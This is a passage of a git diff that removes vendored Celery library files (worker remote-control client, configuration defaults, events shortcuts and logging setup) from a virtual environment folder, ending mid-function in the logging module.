QUEUE_INFO,...]}``. - - Here is the list of ``QUEUE_INFO`` fields: - - * ``name`` - * ``exchange`` - * ``name`` - * ``type`` - * ``arguments`` - * ``durable`` - * ``passive`` - * ``auto_delete`` - * ``delivery_mode`` - * ``no_declare`` - * ``routing_key`` - * ``queue_arguments`` - * ``binding_arguments`` - * ``consumer_arguments`` - * ``durable`` - * ``exclusive`` - * ``auto_delete`` - * ``no_ack`` - * ``alias`` - * ``bindings`` - * ``no_declare`` - * ``expires`` - * ``message_ttl`` - * ``max_length`` - * ``max_length_bytes`` - * ``max_priority`` - - See Also: - See the RabbitMQ/AMQP documentation for more details about - ``queue_info`` fields. - Note: - The ``queue_info`` fields are RabbitMQ/AMQP oriented. - Not all fields applies for other transports. - """ - return self._request('active_queues') - - def query_task(self, *ids): - """Return detail of tasks currently executed by workers. - - Arguments: - *ids (str): IDs of tasks to be queried. - - Returns: - Dict: Dictionary ``{HOSTNAME: {TASK_ID: [STATE, TASK_INFO]}}``. - - Here is the list of ``TASK_INFO`` fields: - * ``id`` - ID of the task - * ``name`` - Name of the task - * ``args`` - Positinal arguments passed to the task - * ``kwargs`` - Keyword arguments passed to the task - * ``type`` - Type of the task - * ``hostname`` - Hostname of the worker processing the task - * ``time_start`` - Time of processing start - * ``acknowledged`` - True when task was acknowledged to broker - * ``delivery_info`` - Dictionary containing delivery information - * ``exchange`` - Name of exchange where task was published - * ``routing_key`` - Routing key used when task was published - * ``priority`` - Priority used when task was published - * ``redelivered`` - True if the task was redelivered - * ``worker_pid`` - PID of worker processing the task - - """ - # signature used be unary: query_task(ids=[id1, id2]) - # we need this to preserve backward compatibility. - if len(ids) == 1 and isinstance(ids[0], (list, tuple)): - ids = ids[0] - return self._request('query_task', ids=ids) - - def conf(self, with_defaults=False): - """Return configuration of each worker. - - Arguments: - with_defaults (bool): if set to True, method returns also - configuration options with default values. - - Returns: - Dict: Dictionary ``{HOSTNAME: WORKER_CONFIGURATION}``. - - See Also: - ``WORKER_CONFIGURATION`` is a dictionary containing current configuration options. - See :ref:`configuration` for possible values. - """ - return self._request('conf', with_defaults=with_defaults) - - def hello(self, from_node, revoked=None): - return self._request('hello', from_node=from_node, revoked=revoked) - - def memsample(self): - """Return sample current RSS memory usage. - - Note: - Requires the psutils library. - """ - return self._request('memsample') - - def memdump(self, samples=10): - """Dump statistics of previous memsample requests. - - Note: - Requires the psutils library. - """ - return self._request('memdump', samples=samples) - - def objgraph(self, type='Request', n=200, max_depth=10): - """Create graph of uncollected objects (memory-leak debugging). - - Arguments: - n (int): Max number of objects to graph. - max_depth (int): Traverse at most n levels deep. - type (str): Name of object to graph. Default is ``"Request"``. - - Returns: - Dict: Dictionary ``{'filename': FILENAME}`` - - Note: - Requires the objgraph library. - """ - return self._request('objgraph', num=n, max_depth=max_depth, type=type) - - -class Control: - """Worker remote control client.""" - - Mailbox = Mailbox - - def __init__(self, app=None): - self.app = app - if (app.conf.control_queue_durable and - app.conf.control_queue_exclusive): - raise ImproperlyConfigured( - "control_queue_durable and control_queue_exclusive cannot both be True " - "(exclusive queues are automatically deleted and cannot be durable).", - ) - self.mailbox = self.Mailbox( - app.conf.control_exchange, - type='fanout', - accept=app.conf.accept_content, - serializer=app.conf.task_serializer, - producer_pool=lazy(lambda: self.app.amqp.producer_pool), - queue_ttl=app.conf.control_queue_ttl, - reply_queue_ttl=app.conf.control_queue_ttl, - queue_expires=app.conf.control_queue_expires, - queue_exclusive=app.conf.control_queue_exclusive, - queue_durable=app.conf.control_queue_durable, - reply_queue_expires=app.conf.control_queue_expires, - ) - register_after_fork(self, _after_fork_cleanup_control) - - def _after_fork(self): - del self.mailbox.producer_pool - - @cached_property - def inspect(self): - """Create new :class:`Inspect` instance.""" - return self.app.subclass_with_self(Inspect, reverse='control.inspect') - - def purge(self, connection=None): - """Discard all waiting tasks. - - This will ignore all tasks waiting for execution, and they will - be deleted from the messaging server. - - Arguments: - connection (kombu.Connection): Optional specific connection - instance to use. If not provided a connection will - be acquired from the connection pool. - - Returns: - int: the number of tasks discarded. - """ - with self.app.connection_or_acquire(connection) as conn: - return self.app.amqp.TaskConsumer(conn).purge() - discard_all = purge - - def election(self, id, topic, action=None, connection=None): - self.broadcast( - 'election', connection=connection, destination=None, - arguments={ - 'id': id, 'topic': topic, 'action': action, - }, - ) - - def revoke(self, task_id, destination=None, terminate=False, - signal=TERM_SIGNAME, **kwargs): - """Tell all (or specific) workers to revoke a task by id (or list of ids). - - If a task is revoked, the workers will ignore the task and - not execute it after all. - - Arguments: - task_id (Union(str, list)): Id of the task to revoke - (or list of ids). - terminate (bool): Also terminate the process currently working - on the task (if any). - signal (str): Name of signal to send to process if terminate. - Default is TERM. - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - return self.broadcast('revoke', destination=destination, arguments={ - 'task_id': task_id, - 'terminate': terminate, - 'signal': signal, - }, **kwargs) - - def revoke_by_stamped_headers(self, headers, destination=None, terminate=False, - signal=TERM_SIGNAME, **kwargs): - """ - Tell all (or specific) workers to revoke a task by headers. - - If a task is revoked, the workers will ignore the task and - not execute it after all. - - Arguments: - headers (dict[str, Union(str, list)]): Headers to match when revoking tasks. - terminate (bool): Also terminate the process currently working - on the task (if any). - signal (str): Name of signal to send to process if terminate. - Default is TERM. - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - result = self.broadcast('revoke_by_stamped_headers', destination=destination, arguments={ - 'headers': headers, - 'terminate': terminate, - 'signal': signal, - }, **kwargs) - - task_ids = set() - if result: - for host in result: - for response in host.values(): - if isinstance(response['ok'], set): - task_ids.update(response['ok']) - - if task_ids: - return self.revoke(list(task_ids), destination=destination, terminate=terminate, signal=signal, **kwargs) - else: - return result - - def terminate(self, task_id, - destination=None, signal=TERM_SIGNAME, **kwargs): - """Tell all (or specific) workers to terminate a task by id (or list of ids). - - See Also: - This is just a shortcut to :meth:`revoke` with the terminate - argument enabled. - """ - return self.revoke( - task_id, - destination=destination, terminate=True, signal=signal, **kwargs) - - def ping(self, destination=None, timeout=1.0, **kwargs): - """Ping all (or specific) workers. - - >>> app.control.ping() - [{'celery@node1': {'ok': 'pong'}}, {'celery@node2': {'ok': 'pong'}}] - >>> app.control.ping(destination=['celery@node2']) - [{'celery@node2': {'ok': 'pong'}}] - - Returns: - List[Dict]: List of ``{HOSTNAME: {'ok': 'pong'}}`` dictionaries. - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - return self.broadcast( - 'ping', reply=True, arguments={}, destination=destination, - timeout=timeout, **kwargs) - - def rate_limit(self, task_name, rate_limit, destination=None, **kwargs): - """Tell workers to set a new rate limit for task by type. - - Arguments: - task_name (str): Name of task to change rate limit for. - rate_limit (int, str): The rate limit as tasks per second, - or a rate limit string (`'100/m'`, etc. - see :attr:`celery.app.task.Task.rate_limit` for - more information). - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - return self.broadcast( - 'rate_limit', - destination=destination, - arguments={ - 'task_name': task_name, - 'rate_limit': rate_limit, - }, - **kwargs) - - def add_consumer(self, queue, - exchange=None, exchange_type='direct', routing_key=None, - options=None, destination=None, **kwargs): - """Tell all (or specific) workers to start consuming from a new queue. - - Only the queue name is required as if only the queue is specified - then the exchange/routing key will be set to the same name ( - like automatic queues do). - - Note: - This command does not respect the default queue/exchange - options in the configuration. - - Arguments: - queue (str): Name of queue to start consuming from. - exchange (str): Optional name of exchange. - exchange_type (str): Type of exchange (defaults to 'direct') - command to, when empty broadcast to all workers. - routing_key (str): Optional routing key. - options (Dict): Additional options as supported - by :meth:`kombu.entity.Queue.from_dict`. - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - return self.broadcast( - 'add_consumer', - destination=destination, - arguments=dict({ - 'queue': queue, - 'exchange': exchange, - 'exchange_type': exchange_type, - 'routing_key': routing_key, - }, **options or {}), - **kwargs - ) - - def cancel_consumer(self, queue, destination=None, **kwargs): - """Tell all (or specific) workers to stop consuming from ``queue``. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'cancel_consumer', destination=destination, - arguments={'queue': queue}, **kwargs) - - def time_limit(self, task_name, soft=None, hard=None, - destination=None, **kwargs): - """Tell workers to set time limits for a task by type. - - Arguments: - task_name (str): Name of task to change time limits for. - soft (float): New soft time limit (in seconds). - hard (float): New hard time limit (in seconds). - **kwargs (Any): arguments passed on to :meth:`broadcast`. - """ - return self.broadcast( - 'time_limit', - arguments={ - 'task_name': task_name, - 'hard': hard, - 'soft': soft, - }, - destination=destination, - **kwargs) - - def enable_events(self, destination=None, **kwargs): - """Tell all (or specific) workers to enable events. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'enable_events', arguments={}, destination=destination, **kwargs) - - def disable_events(self, destination=None, **kwargs): - """Tell all (or specific) workers to disable events. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'disable_events', arguments={}, destination=destination, **kwargs) - - def pool_grow(self, n=1, destination=None, **kwargs): - """Tell all (or specific) workers to grow the pool by ``n``. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'pool_grow', arguments={'n': n}, destination=destination, **kwargs) - - def pool_shrink(self, n=1, destination=None, **kwargs): - """Tell all (or specific) workers to shrink the pool by ``n``. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'pool_shrink', arguments={'n': n}, - destination=destination, **kwargs) - - def autoscale(self, max, min, destination=None, **kwargs): - """Change worker(s) autoscale setting. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'autoscale', arguments={'max': max, 'min': min}, - destination=destination, **kwargs) - - def shutdown(self, destination=None, **kwargs): - """Shutdown worker(s). - - See Also: - Supports the same arguments as :meth:`broadcast` - """ - return self.broadcast( - 'shutdown', arguments={}, destination=destination, **kwargs) - - def pool_restart(self, modules=None, reload=False, reloader=None, - destination=None, **kwargs): - """Restart the execution pools of all or specific workers. - - Keyword Arguments: - modules (Sequence[str]): List of modules to reload. - reload (bool): Flag to enable module reloading. Default is False. - reloader (Any): Function to reload a module. - destination (Sequence[str]): List of worker names to send this - command to. - - See Also: - Supports the same arguments as :meth:`broadcast` - """ - return self.broadcast( - 'pool_restart', - arguments={ - 'modules': modules, - 'reload': reload, - 'reloader': reloader, - }, - destination=destination, **kwargs) - - def heartbeat(self, destination=None, **kwargs): - """Tell worker(s) to send a heartbeat immediately. - - See Also: - Supports the same arguments as :meth:`broadcast` - """ - return self.broadcast( - 'heartbeat', arguments={}, destination=destination, **kwargs) - - def broadcast(self, command, arguments=None, destination=None, - connection=None, reply=False, timeout=1.0, limit=None, - callback=None, channel=None, pattern=None, matcher=None, - **extra_kwargs): - """Broadcast a control command to the celery workers. - - Arguments: - command (str): Name of command to send. - arguments (Dict): Keyword arguments for the command. - destination (List): If set, a list of the hosts to send the - command to, when empty broadcast to all workers. - connection (kombu.Connection): Custom broker connection to use, - if not set, a connection will be acquired from the pool. - reply (bool): Wait for and return the reply. - timeout (float): Timeout in seconds to wait for the reply. - limit (int): Limit number of replies. - callback (Callable): Callback called immediately for - each reply received. - pattern (str): Custom pattern string to match - matcher (Callable): Custom matcher to run the pattern to match - """ - with self.app.connection_or_acquire(connection) as conn: - arguments = dict(arguments or {}, **extra_kwargs) - if pattern and matcher: - # tests pass easier without requiring pattern/matcher to - # always be sent in - return self.mailbox(conn)._broadcast( - command, arguments, destination, reply, timeout, - limit, callback, channel=channel, - pattern=pattern, matcher=matcher, - ) - else: - return self.mailbox(conn)._broadcast( - command, arguments, destination, reply, timeout, - limit, callback, channel=channel, - ) diff --git a/venv/Lib/site-packages/celery/app/defaults.py b/venv/Lib/site-packages/celery/app/defaults.py deleted file mode 100644 index 480667eeced64734177d4995b5c0d827b2462a56..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/defaults.py +++ /dev/null @@ -1,439 +0,0 @@ -"""Configuration introspection and defaults.""" -from collections import deque, namedtuple -from datetime import timedelta - -from celery.utils.functional import memoize -from celery.utils.serialization import strtobool - -__all__ = ('Option', 'NAMESPACES', 'flatten', 'find') - - -DEFAULT_POOL = 'prefork' - -DEFAULT_ACCEPT_CONTENT = ('json',) -DEFAULT_PROCESS_LOG_FMT = """ - [%(asctime)s: %(levelname)s/%(processName)s] %(message)s -""".strip() -DEFAULT_TASK_LOG_FMT = """[%(asctime)s: %(levelname)s/%(processName)s] \ -%(task_name)s[%(task_id)s]: %(message)s""" - -DEFAULT_SECURITY_DIGEST = 'sha256' - - -OLD_NS = {'celery_{0}'} -OLD_NS_BEAT = {'celerybeat_{0}'} -OLD_NS_WORKER = {'celeryd_{0}'} - -searchresult = namedtuple('searchresult', ('namespace', 'key', 'type')) - - -def Namespace(__old__=None, **options): - if __old__ is not None: - for key, opt in options.items(): - if not opt.old: - opt.old = {o.format(key) for o in __old__} - return options - - -def old_ns(ns): - return {f'{ns}_{{0}}'} - - -class Option: - """Describes a Celery configuration option.""" - - alt = None - deprecate_by = None - remove_by = None - old = set() - typemap = {'string': str, 'int': int, 'float': float, 'any': lambda v: v, - 'bool': strtobool, 'dict': dict, 'tuple': tuple} - - def __init__(self, default=None, *args, **kwargs): - self.default = default - self.type = kwargs.get('type') or 'string' - for attr, value in kwargs.items(): - setattr(self, attr, value) - - def to_python(self, value): - return self.typemap[self.type](value) - - def __repr__(self): - return '{} default->{!r}>'.format(self.type, - self.default) - - -NAMESPACES = Namespace( - accept_content=Option(DEFAULT_ACCEPT_CONTENT, type='list', old=OLD_NS), - result_accept_content=Option(None, type='list'), - enable_utc=Option(True, type='bool'), - imports=Option((), type='tuple', old=OLD_NS), - include=Option((), type='tuple', old=OLD_NS), - timezone=Option(type='string', old=OLD_NS), - beat=Namespace( - __old__=OLD_NS_BEAT, - - max_loop_interval=Option(0, type='float'), - schedule=Option({}, type='dict'), - scheduler=Option('celery.beat:PersistentScheduler'), - schedule_filename=Option('celerybeat-schedule'), - sync_every=Option(0, type='int'), - cron_starting_deadline=Option(None, type=int) - ), - broker=Namespace( - url=Option(None, type='string'), - read_url=Option(None, type='string'), - write_url=Option(None, type='string'), - transport=Option(type='string'), - transport_options=Option({}, type='dict'), - connection_timeout=Option(4, type='float'), - connection_retry=Option(True, type='bool'), - connection_retry_on_startup=Option(None, type='bool'), - connection_max_retries=Option(100, type='int'), - channel_error_retry=Option(False, type='bool'), - failover_strategy=Option(None, type='string'), - heartbeat=Option(120, type='int'), - heartbeat_checkrate=Option(3.0, type='int'), - login_method=Option(None, type='string'), - native_delayed_delivery_queue_type=Option(default='quorum', type='string'), - pool_limit=Option(10, type='int'), - use_ssl=Option(False, type='bool'), - - host=Option(type='string'), - port=Option(type='int'), - user=Option(type='string'), - password=Option(type='string'), - vhost=Option(type='string'), - ), - cache=Namespace( - __old__=old_ns('celery_cache'), - - backend=Option(), - backend_options=Option({}, type='dict'), - ), - cassandra=Namespace( - entry_ttl=Option(type='float'), - keyspace=Option(type='string'), - port=Option(type='string'), - read_consistency=Option(type='string'), - servers=Option(type='list'), - bundle_path=Option(type='string'), - table=Option(type='string'), - write_consistency=Option(type='string'), - auth_provider=Option(type='string'), - auth_kwargs=Option(type='string'), - options=Option({}, type='dict'), - ), - s3=Namespace( - access_key_id=Option(type='string'), - secret_access_key=Option(type='string'), - bucket=Option(type='string'), - base_path=Option(type='string'), - endpoint_url=Option(type='string'), - region=Option(type='string'), - ), - azureblockblob=Namespace( - container_name=Option('celery', type='string'), - retry_initial_backoff_sec=Option(2, type='int'), - retry_increment_base=Option(2, type='int'), - retry_max_attempts=Option(3, type='int'), - base_path=Option('', type='string'), - connection_timeout=Option(20, type='int'), - read_timeout=Option(120, type='int'), - ), - gcs=Namespace( - bucket=Option(type='string'), - project=Option(type='string'), - base_path=Option('', type='string'), - ttl=Option(0, type='float'), - ), - control=Namespace( - queue_ttl=Option(300.0, type='float'), - queue_expires=Option(10.0, type='float'), - queue_exclusive=Option(False, type='bool'), - queue_durable=Option(False, type='bool'), - exchange=Option('celery', type='string'), - ), - couchbase=Namespace( - __old__=old_ns('celery_couchbase'), - - backend_settings=Option(None, type='dict'), - ), - arangodb=Namespace( - __old__=old_ns('celery_arangodb'), - backend_settings=Option(None, type='dict') - ), - mongodb=Namespace( - __old__=old_ns('celery_mongodb'), - - backend_settings=Option(type='dict'), - ), - cosmosdbsql=Namespace( - database_name=Option('celerydb', type='string'), - collection_name=Option('celerycol', type='string'), - consistency_level=Option('Session', type='string'), - max_retry_attempts=Option(9, type='int'), - max_retry_wait_time=Option(30, type='int'), - ), - event=Namespace( - __old__=old_ns('celery_event'), - - queue_expires=Option(60.0, type='float'), - queue_ttl=Option(5.0, type='float'), - queue_prefix=Option('celeryev'), - queue_exclusive=Option(False, type='bool'), - queue_durable=Option(False, type='bool'), - serializer=Option('json'), - exchange=Option('celeryev', type='string'), - ), - redis=Namespace( - __old__=old_ns('celery_redis'), - - backend_use_ssl=Option(type='dict'), - db=Option(type='int'), - host=Option(type='string'), - max_connections=Option(type='int'), - username=Option(type='string'), - password=Option(type='string'), - port=Option(type='int'), - socket_timeout=Option(120.0, type='float'), - socket_connect_timeout=Option(None, type='float'), - retry_on_timeout=Option(False, type='bool'), - socket_keepalive=Option(False, type='bool'), - ), - result=Namespace( - __old__=old_ns('celery_result'), - - backend=Option(type='string'), - cache_max=Option( - -1, - type='int', old={'celery_max_cached_results'}, - ), - compression=Option(type='str'), - exchange=Option('celeryresults'), - exchange_type=Option('direct'), - expires=Option( - timedelta(days=1), - type='float', old={'celery_task_result_expires'}, - ), - persistent=Option(None, type='bool'), - extended=Option(False, type='bool'), - serializer=Option('json'), - backend_transport_options=Option({}, type='dict'), - chord_retry_interval=Option(1.0, type='float'), - chord_join_timeout=Option(3.0, type='float'), - backend_max_sleep_between_retries_ms=Option(10000, type='int'), - backend_max_retries=Option(float("inf"), type='float'), - backend_base_sleep_between_retries_ms=Option(10, type='int'), - backend_always_retry=Option(False, type='bool'), - ), - elasticsearch=Namespace( - __old__=old_ns('celery_elasticsearch'), - - retry_on_timeout=Option(type='bool'), - max_retries=Option(type='int'), - timeout=Option(type='float'), - save_meta_as_text=Option(True, type='bool'), - ), - security=Namespace( - __old__=old_ns('celery_security'), - - certificate=Option(type='string'), - cert_store=Option(type='string'), - key=Option(type='string'), - key_password=Option(type='bytes'), - digest=Option(DEFAULT_SECURITY_DIGEST, type='string'), - ), - database=Namespace( - url=Option(old={'celery_result_dburi'}), - engine_options=Option( - { - 'pool_pre_ping': True, - 'pool_recycle': 3600, - }, - type='dict', old={'celery_result_engine_options'}, - ), - short_lived_sessions=Option( - False, type='bool', old={'celery_result_db_short_lived_sessions'}, - ), - table_schemas=Option(type='dict'), - table_names=Option(type='dict', old={'celery_result_db_tablenames'}), - create_tables_at_setup=Option(True, type='bool'), - ), - task=Namespace( - __old__=OLD_NS, - acks_late=Option(False, type='bool'), - acks_on_failure_or_timeout=Option(True, type='bool'), - always_eager=Option(False, type='bool'), - annotations=Option(type='any'), - compression=Option(type='string', old={'celery_message_compression'}), - create_missing_queues=Option(True, type='bool'), - create_missing_queue_type=Option('classic', type='string'), - create_missing_queue_exchange_type=Option(None, type='string'), - inherit_parent_priority=Option(False, type='bool'), - default_delivery_mode=Option(2, type='string'), - default_queue=Option('celery'), - default_queue_type=Option('classic', type='string'), - default_exchange=Option(None, type='string'), # taken from queue - default_exchange_type=Option('direct'), - default_routing_key=Option(None, type='string'), # taken from queue - default_rate_limit=Option(type='string'), - default_priority=Option(None, type='string'), - eager_propagates=Option( - False, type='bool', old={'celery_eager_propagates_exceptions'}, - ), - ignore_result=Option(False, type='bool'), - store_eager_result=Option(False, type='bool'), - protocol=Option(2, type='int', old={'celery_task_protocol'}), - publish_retry=Option( - True, type='bool', old={'celery_task_publish_retry'}, - ), - publish_retry_policy=Option( - {'max_retries': 3, - 'interval_start': 0, - 'interval_max': 1, - 'interval_step': 0.2}, - type='dict', old={'celery_task_publish_retry_policy'}, - ), - queues=Option(type='dict'), - queue_max_priority=Option(None, type='int'), - reject_on_worker_lost=Option(type='bool'), - remote_tracebacks=Option(False, type='bool'), - routes=Option(type='any'), - send_sent_event=Option( - False, type='bool', old={'celery_send_task_sent_event'}, - ), - serializer=Option('json', old={'celery_task_serializer'}), - soft_time_limit=Option( - type='float', old={'celeryd_task_soft_time_limit'}, - ), - time_limit=Option( - type='float', old={'celeryd_task_time_limit'}, - ), - store_errors_even_if_ignored=Option(False, type='bool'), - track_started=Option(False, type='bool'), - allow_error_cb_on_chord_header=Option(False, type='bool'), - ), - worker=Namespace( - __old__=OLD_NS_WORKER, - agent=Option(None, type='string'), - autoscaler=Option('celery.worker.autoscale:Autoscaler'), - cancel_long_running_tasks_on_connection_loss=Option( - False, type='bool' - ), - soft_shutdown_timeout=Option(0.0, type='float'), - enable_soft_shutdown_on_idle=Option(False, type='bool'), - concurrency=Option(None, type='int'), - consumer=Option('celery.worker.consumer:Consumer', type='string'), - direct=Option(False, type='bool', old={'celery_worker_direct'}), - disable_rate_limits=Option( - False, type='bool', old={'celery_disable_rate_limits'}, - ), - deduplicate_successful_tasks=Option( - False, type='bool' - ), - enable_remote_control=Option( - True, type='bool', old={'celery_enable_remote_control'}, - ), - hijack_root_logger=Option(True, type='bool'), - log_color=Option(type='bool'), - log_format=Option(DEFAULT_PROCESS_LOG_FMT), - lost_wait=Option(10.0, type='float', old={'celeryd_worker_lost_wait'}), - max_memory_per_child=Option(type='int'), - max_tasks_per_child=Option(type='int'), - pool=Option(DEFAULT_POOL), - pool_putlocks=Option(True, type='bool'), - pool_restarts=Option(False, type='bool'), - proc_alive_timeout=Option(4.0, type='float'), - prefetch_multiplier=Option(4, type='int'), - eta_task_limit=Option(None, type='int'), - enable_prefetch_count_reduction=Option(True, type='bool'), - disable_prefetch=Option(False, type='bool'), - redirect_stdouts=Option( - True, type='bool', old={'celery_redirect_stdouts'}, - ), - redirect_stdouts_level=Option( - 'WARNING', old={'celery_redirect_stdouts_level'}, - ), - send_task_events=Option( - False, type='bool', old={'celery_send_events'}, - ), - state_db=Option(), - task_log_format=Option(DEFAULT_TASK_LOG_FMT), - timer=Option(type='string'), - timer_precision=Option(1.0, type='float'), - detect_quorum_queues=Option(True, type='bool'), - ), -) - - -def _flatten_keys(ns, key, opt): - return [(ns + key, opt)] - - -def _to_compat(ns, key, opt): - if opt.old: - return [ - (oldkey.format(key).upper(), ns + key, opt) - for oldkey in opt.old - ] - return [((ns + key).upper(), ns + key, opt)] - - -def flatten(d, root='', keyfilter=_flatten_keys): - """Flatten settings.""" - stack = deque([(root, d)]) - while stack: - ns, options = stack.popleft() - for key, opt in options.items(): - if isinstance(opt, dict): - stack.append((ns + key + '_', opt)) - else: - yield from keyfilter(ns, key, opt) - - -DEFAULTS = { - key: opt.default for key, opt in flatten(NAMESPACES) -} -__compat = list(flatten(NAMESPACES, keyfilter=_to_compat)) -_OLD_DEFAULTS = {old_key: opt.default for old_key, _, opt in __compat} -_TO_OLD_KEY = {new_key: old_key for old_key, new_key, _ in __compat} -_TO_NEW_KEY = {old_key: new_key for old_key, new_key, _ in __compat} -__compat = None - -SETTING_KEYS = set(DEFAULTS.keys()) -_OLD_SETTING_KEYS = set(_TO_NEW_KEY.keys()) - - -def find_deprecated_settings(source): # pragma: no cover - from celery.utils import deprecated - for name, opt in flatten(NAMESPACES): - if (opt.deprecate_by or opt.remove_by) and getattr(source, name, None): - deprecated.warn(description=f'The {name!r} setting', - deprecation=opt.deprecate_by, - removal=opt.remove_by, - alternative=f'Use the {opt.alt} instead') - return source - - -@memoize(maxsize=None) -def find(name, namespace='celery'): - """Find setting by name.""" - # - Try specified name-space first. - namespace = namespace.lower() - try: - return searchresult( - namespace, name.lower(), NAMESPACES[namespace][name.lower()], - ) - except KeyError: - # - Try all the other namespaces. - for ns, opts in NAMESPACES.items(): - if ns.lower() == name.lower(): - return searchresult(None, ns, opts) - elif isinstance(opts, dict): - try: - return searchresult(ns, name.lower(), opts[name.lower()]) - except KeyError: - pass - # - See if name is a qualname last. - return searchresult(None, name.lower(), DEFAULTS[name.lower()]) diff --git a/venv/Lib/site-packages/celery/app/events.py b/venv/Lib/site-packages/celery/app/events.py deleted file mode 100644 index f2ebea06ac9300d4e64375483d6a9a3364e4f3b0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/events.py +++ /dev/null @@ -1,40 +0,0 @@ -"""Implementation for the app.events shortcuts.""" -from contextlib import contextmanager - -from kombu.utils.objects import cached_property - - -class Events: - """Implements app.events.""" - - receiver_cls = 'celery.events.receiver:EventReceiver' - dispatcher_cls = 'celery.events.dispatcher:EventDispatcher' - state_cls = 'celery.events.state:State' - - def __init__(self, app=None): - self.app = app - - @cached_property - def Receiver(self): - return self.app.subclass_with_self( - self.receiver_cls, reverse='events.Receiver') - - @cached_property - def Dispatcher(self): - return self.app.subclass_with_self( - self.dispatcher_cls, reverse='events.Dispatcher') - - @cached_property - def State(self): - return self.app.subclass_with_self( - self.state_cls, reverse='events.State') - - @contextmanager - def default_dispatcher(self, hostname=None, enabled=True, - buffer_while_offline=False): - with self.app.amqp.producer_pool.acquire(block=True) as prod: - # pylint: disable=too-many-function-args - # This is a property pylint... - with self.Dispatcher(prod.connection, hostname, enabled, - prod.channel, buffer_while_offline) as d: - yield d diff --git a/venv/Lib/site-packages/celery/app/log.py b/venv/Lib/site-packages/celery/app/log.py deleted file mode 100644 index a4db105779196c56202afd125cc6d0a7cc4e7ccb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/log.py +++ /dev/null @@ -1,248 +0,0 @@ -"""Logging configuration. - -The Celery instances logging section: ``Celery.log``. - -Sets up logging for the worker and other programs, -redirects standard outs, colors log output, patches logging -related compatibility fixes, and so on. -""" -import logging -import os -import sys -import warnings -from logging.handlers import WatchedFileHandler - -from kombu.utils.encoding import set_default_encoding_file - -from celery import signals -from celery._state import get_current_task -from celery.exceptions import CDeprecationWarning, CPendingDeprecationWarning -from celery.local import class_property -from celery.platforms import isatty -from celery.utils.log import (ColorFormatter, LoggingProxy, get_logger, get_multiprocessing_logger, mlevel, - reset_multiprocessing_logger) -from celery.utils.nodenames import node_format -from celery.utils.term import colored - -__all__ = ('TaskFormatter', 'Logging') - -MP_LOG = os.environ.get('MP_LOG', False) - - -class TaskFormatter(ColorFormatter): - """Formatter for tasks, adding the task name and id.""" - - def format(self, record): - task = get_current_task() - if task and task.request: - record.__dict__.update(task_id=task.request.id, - task_name=task.name) - else: - record.__dict__.setdefault('task_name', '???') - record.__dict__.setdefault('task_id', '???') - return super().format(record) - - -class Logging: - """Application logging setup (app.log).""" - - #: The logging subsystem is only configured once per process. - #: setup_logging_subsystem sets this flag, and subsequent calls - #: will do nothing. - _setup = False - - def __init__(self, app): - self.app = app - self.loglevel = mlevel(logging.WARN) - self.format = self.app.conf.worker_log_format - self.task_format = self.app.conf.worker_task_log_format - self.colorize = self.app.conf.worker_log_color - - def setup(self, loglevel=None, logfile=None, redirect_stdouts=False, - redirect_level='WARNING', colorize=None, hostname=None): - loglevel = mlevel(loglevel) - handled = self.setup_logging_subsystem( - loglevel, logfile, colorize=colorize, hostname=hostname, - ) - if not handled and redirect_stdouts: - self.redirect_stdouts(redirect_level) - os.environ.update( - CELERY_LOG_LEVEL=str(loglevel) if loglevel else '', - CELERY_LOG_FILE=str(logfile) if logfile else '', - ) - warnings.filterwarnings('always', category=CDeprecationWarning) - warnings.filterwarnings('always', category=CPendingDeprecationWarning) - logging.captureWarnings(True) - return handled - - def redirect_stdouts(self, loglevel=None, name='celery.redirected'): - self.redirect_stdouts_to_logger( - get_logger(name), loglevel=loglevel - ) - os.environ.update( - CELERY_LOG_REDIRECT='1', - CELERY_LOG_REDIRECT_LEVEL=str(loglevel or ''), - ) - - def setup_logging_subsystem(self, loglevel=None, logfile=None, format=None, - colorize=None, hostname=None, **kwargs): - if self.already_setup: - return - if logfile and hostname: - logfile = node_format(logfile, hostname) - Logging._setup = True - loglevel = mlevel(loglevel or self.loglevel) - format = format or self.format - colorize = self.supports_color(colorize, logfile) - reset_multiprocessing_logger() - receivers = signals.setup_logging.send( - sender=None, loglevel=loglevel, logfile=logfile, - format=format, colorize=colorize, - ) - - if not receivers: - root = logging.getLogger() - - if self.app.conf.worker_hijack_root_logger: - root.handlers = [] - get_logger('celery').handlers = [] - get_logger('celery.task').handlers = [] - get_logger('celery.redirected').handlers = [] - - # Configure root logger - self._configure_logger( - root, logfile, loglevel, format, colorize, **kwargs - ) - - # Configure the multiprocessing logger - self._configure_logger( - get_multiprocessing_logger(), - logfile, loglevel if MP_LOG else logging.ERROR, - format, colorize, **kwargs - ) - - signals.after_setup_logger.send( - sender=None, logger=root, - loglevel=loglevel, logfile=logfile, - format=format, colorize=colorize, - ) - - # then setup the root task logger. - self.setup_task_loggers(loglevel, logfile, colorize=colorize) - - try: - stream = logging.getLogger().handlers[0].stream - except (AttributeError, IndexError): - pass - else: - set_default_encoding_file(stream) - - # This is a hack for multiprocessing's fork+exec, so that - # logging before Process.run works. - logfile_name = logfile if isinstance(logfile, str) else '' - os.environ.update(_MP_FORK_LOGLEVEL_=str(loglevel), - _MP_FORK_LOGFILE_=logfile_name, - _MP_FORK_LOGFORMAT_=format) - return receivers - - def _configure_logger(self, logger, logfile, loglevel, - format, colorize, **kwargs): - if logger is not None: - self.setup_handlers(logger, logfile, format, - colorize, **kwargs) - if loglevel: - logger.setLevel(loglevel) - - def setup_task_loggers(self, loglevel=None, logfile=None, format=None, - colorize=None, propagate=False, **kwargs): - """Setup the task logger. - - If `logfile` is not specified, then `sys.stderr` is used. - - Will return the base task logger object. - """ - loglevel = mlevel(loglevel or self.loglevel) - format = format 